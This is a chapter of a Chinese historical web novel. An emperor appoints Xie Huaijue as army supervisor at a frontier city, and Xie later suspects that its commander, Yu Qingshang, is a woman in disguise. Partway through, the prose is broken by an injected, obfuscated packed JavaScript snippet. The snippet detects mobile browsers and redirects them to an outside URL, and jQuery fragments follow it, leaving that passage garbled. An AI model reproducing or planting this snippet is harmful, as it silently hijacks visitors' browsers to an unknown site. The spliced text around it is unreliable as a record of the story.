一个月前,汴京大内。
谢怀玦受官家召见,随内侍引入御阁。
入内时左右已屏退,阁中无人立侍。狻猊炉中香烟袅袅,官家正闭目养神。
早白的双鬓,松弛的眼皮,下撇的嘴角,组合成一张略显疲惫与老态的天子面庞。
直到他睁眼,眸中才流露出久居高位的威严。
“伯瑜,朕要你去铁脊城做监军。”
这可算不上什么美差。
谢怀玦心中有数,“陛下,此事未经廷议,不知陛下是否同枢密院……”
“是朕自己的决定。”官家抬眼,“怎么?朕需要经过谁的同意吗?”
这位大胤天子向来以宽厚著称,鲜少露出强硬姿态。言罢,他又塌下肩膀,叹道:“自从镇北关丢失后,朕再也没睡过一次好觉。”
大胤苦北勒久矣。
往年秋高马肥之时,正是北勒南下劫掠的时候,依照往年,他们抢几把便退,既动摇不了国本,大胤也就捏着鼻子认了。直至北勒出了赫连勃,此人用兵狠辣,姿态强硬,率部长驱直入,再非昔日小打小闹。
镇北关守军同赫连勃血战月余,最后是一名籍籍无名的守门校尉,抽掉了门闩。
城门大开当夜,守将引剑自刎。自此镇北关彻底沦陷。
谢怀玦道:“镇北关乃山间雄关,扼守阴山山口。此关一丢,北境门户大开,北虏便可长驱直入。铁脊城乃山前重镇,百年坚城,城高墙厚,是易守难攻之地,北勒人未必啃得动。”
官家沉默了一会儿,忽然问:“朕让虞清商去守城,你觉得如何?”
谢怀玦斟酌了一下用词,“臣记得虞将军是枢密副使韩大人的得意门生,三年四跳,以寒微出身屡获升迁,有赖于韩大人多次举荐提携。”
“你觉得他走了韩琮的门路,所以对他颇有成见?”官家笑了,“伯瑜,你今年未及而立,已是兵部郎中。若如你所言,你小子不也是得了朕的青眼、走了朕的门路?”
对于帝王毫不掩饰的偏爱,做臣子的除了倍感殊荣,有时还会有一点烦恼。
因为人对非亲之人的偏爱,大多伴随着对回报的强烈期望。而回报皇帝,是一件很困难的事。
他深深一揖,毫不惭愧地道:“有赖官家教诲,伯瑜对外便腆颜自称天子门生了。”
“去,朕可没你这么厚脸皮的门生。”他笑骂着,又将话题引回,“虞清商,朕对他印象很深。年纪轻轻,却是难得的将才,从前的仗也打得漂亮。朕记得他是虞世海的儿子。虞世海庸碌无为,家里倒是出了个好苗。只可惜……”
官家面上露出些许憾色。
谢怀玦眸光一闪,“雁翎谷兵败确实令人扼腕。”
虞清商贪功冒进,三千精锐遭遇北勒伏击,尽数葬身谷中,只她一人被亲卫拼死送出。一夜之间,天纵奇才变败军之将,而伏击她的左贤王赫连勃,却凭此战功稳固了在北勒的地位。
“此案早已盖棺定论。你觉得,这便是全部的事实吗?”官家忽然问。
他觉得不是,但也觉得虞清商并不全然无辜。
得到韩琮如此厚爱,那韩琮又想从他身上得到什么?
他心中冷笑,嘴上却道:“此案当初诏大理寺、刑部、御史台杂议,虞清商本人也已认罪,世人皆以此为事实。”
“伯瑜,你年纪不大,说话总是滴水不漏,像你那个臭脾气的爹一样。”官家叹了口气,“朝中上下极力举荐虞清商前往铁脊城戴罪立功。朕看他们吵了三天,深感朝中无人可用。”
眼下虞清商已被起复,正在赶往铁脊城的路上。
镇北关失守的消息传回朝廷,朝中就议论此事、选举守城将领便足足吵了三天。
虞清商的军事履历非常漂亮,她是一员悍将,喜主动出击、围点打援,但从未有过出色的守城纪录。
镇北关一朝失守,朝中吵来吵去,可吵到最后,不知谁先提了他的名字,此后便一发不可收。
偌大的王朝,竟无人可用。
官家垂下眼帘,露出一丝不属于天子的失魂落魄来,“魏晋之际,五胡入华,怀帝蒙尘,愍帝被掳,元帝仓皇南渡,赖王氏兄弟鼎力扶持,方得偏安江左。自此南北裂土,神州沉陆。朕常读史至此,未尝不掩卷叹息。”
他抬起眼,目光穿过窗棂,不知落在何处。
“如今北勒叩关,铁骑压境。朕的臣子们,可还有人愿意扶着朕,往南走?”
谢怀玦闻言,心头一跳,迅速撩袍跪下,“陛下所虑,臣不敢妄言。只是臣读史至此,却另有一番想法。
“晋室南渡非士族弃主,乃时势也。彼时中原已乱,胡骑纵横,存亡危急,士族拥主南迁,虽失中原,却存社稷。而今日不同,镇北关虽失,但铁脊城还在,北境诸州还在,黄河还在,离最后一步尚且远矣。官家忧患于未然,此乃明君之举。明君在,社稷安。铁脊城自可化险为夷。”
官家哼笑一声,从案上抽出一道手诏,交给谢怀玦。
上头早已盖了御宝,手诏内容很简单:着谢怀玦为铁脊城监军,即日赴任,监督军务,随时奏报。
浑厚的声音在阁中响起,“这人和城,都帮朕好好看着。”
“去吧。”
*
谢怀玦正伏案写信,心情很愉悦。
这份愉悦从拂晓持续到现在,他搁笔时唇角仍微微上扬。
一封军报很快写完,他目光落在一行字上:
“虞知州临危不乱,以水陷车,行炉冶铁,退天狼旗。其用兵不拘常理,出人意表。”
字字属实,毫无虚言。但想起那人这几日表现,忍不住嗤笑一声。
装疯卖傻的女人。
是女人吗?
他只摸了一次脉,不知是否错诊。
可他听闻她重伤如此,只让女医近身。二十七的年纪,也没有成家。
谢怀玦思绪一顿,想起他自己也快三十了,房里空空。
若她真是女子,那便是大胤朝近百年来最大的官场秘闻,足够惊世骇俗。即便是他,诊脉时都对此感到惊讶。
她是怎么做到的?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371318|199919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
入朝为官,要层层考核、吏部铨选、天子御批,她是怎么瞒过去的?这十多年来,多少人与她共过事,更何况是在糙汉遍地的军营,竟无一人察觉?
她行事如此,她家里人是否蓄意隐瞒?
谢怀玦又隐约回忆起在汴京时同她见过的那一面。
她父亲是太子右庶子,从五品的东宫闲官,犯了事遭他弹劾。她求到他面前来,低三下四的样子别扭极了。
当时他只觉得可笑。
这父子两人皆行事不端,她求的哪门子情?
记忆中她的样子似乎渐渐模糊了,再也无法同今日模样重叠。
他复而又回想起撞见她悬绳试梁的那个晚上,她站在凳上,身形又高又瘦。因病容显得更大的眼睛,如世人所传生着漂亮风流的双睑。
那双眼睛就那么瞪着他,除了被撞破的尴尬和呆滞,干干净净的,很清澈,但看着又很蠢。
那干净正是最可疑的地方。
一个打了十来年仗,经历过大起大落的武将,怎么可能有那样一双眼睛?
她和从前为何相差如此之大?
除非那是演的。
一个瞒天过海、装疯卖傻、心机深沉、演技超绝,将所有人耍的团团转的女人,令他不喜至极。
他最厌恶的就是这种人。
可他转念一想,如果她知晓他掌握着她的秘密,她会为此感到慌乱吗?
拂晓前与她的“并肩作战”还历历在目,她看起来如此被动无奈,行事带着被赶鸭子上架似的手忙脚乱,却偏偏把事干成了。
谢怀玦感到有趣和愉悦,他迫不及待想再见她一面。
他将信折好,封上火漆。
——她这会儿在做什么?
这个念头冒出来的时候,他自己先愣了一下。
战后两个时辰,按理该是她最忙的时候。清点伤亡、修葺破损、事后复盘……桩桩件件都等着她去拿主意。
可她身体差成那样,该不是回去又累昏了,又睡到日上三竿罢?
此时接近晌午,众人已经开始埋锅造饭。炊烟袅袅升起,裹着淡淡的食物香气,从帐外飘进来。
谢怀玦提笔,准备写第二封信。
笔提起的这一刻,所有愉悦立刻消失了。
他面无表情地落笔,一撇一捺,工工整整。
末了把信纸提起,吹了吹墨迹,从头到尾又看了一遍。
信是写给父亲的,所以他必须检查有没有错漏,是不是有多余的墨痕,有没有哪个字写得不够端正。
从小到大,父亲对他总是严苛至极,幼时一个错字便能叫他在外头跪足两个时辰,无论寒冬酷暑。
信的前半部分照例是虚伪的请安问候,后半部分他写了些军中所见,寥寥几语提了守城初战的结果——这是他父亲要求的家书。
父为子纲,君为臣纲,他扮演纯臣,扮演孝子,无聊至极。
谢怀玦将第二封信封好,唤人取走,给自己添了杯香茗,
——幸好,他有了新的乐子。